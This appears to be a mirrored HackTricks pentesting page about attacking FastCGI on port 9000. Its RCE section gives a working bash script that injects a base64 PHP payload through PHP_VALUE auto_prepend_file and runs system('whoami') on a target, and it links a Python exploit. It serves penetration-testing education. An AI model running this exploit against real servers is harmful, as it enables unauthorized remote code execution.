mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
37 lines
1.3 KiB
Markdown
37 lines
1.3 KiB
Markdown
# 9000 - Pentesting FastCGI
|
|
|
|
## Basic Information
|
|
|
|
If you want to **learn what is FastCGI** check the following page:
|
|
|
|
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
|
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
|
{% endcontent-ref %}
|
|
|
|
By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.
|
|
|
|
## RCE
|
|
|
|
It's quiet easy to make FastCGI execute arbitrary code:
|
|
|
|
```bash
|
|
#!/bin/bash
|
|
|
|
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
|
|
FILENAMES="/var/www/public/index.php" # Exisiting file path
|
|
|
|
HOST=$1
|
|
B64=$(echo "$PAYLOAD"|base64)
|
|
|
|
for FN in $FILENAMES; do
|
|
OUTPUT=$(mktemp)
|
|
env -i \
|
|
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
|
|
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
|
|
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|
|
|
cat $OUTPUT
|
|
done
|
|
```
|
|
|
|
or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|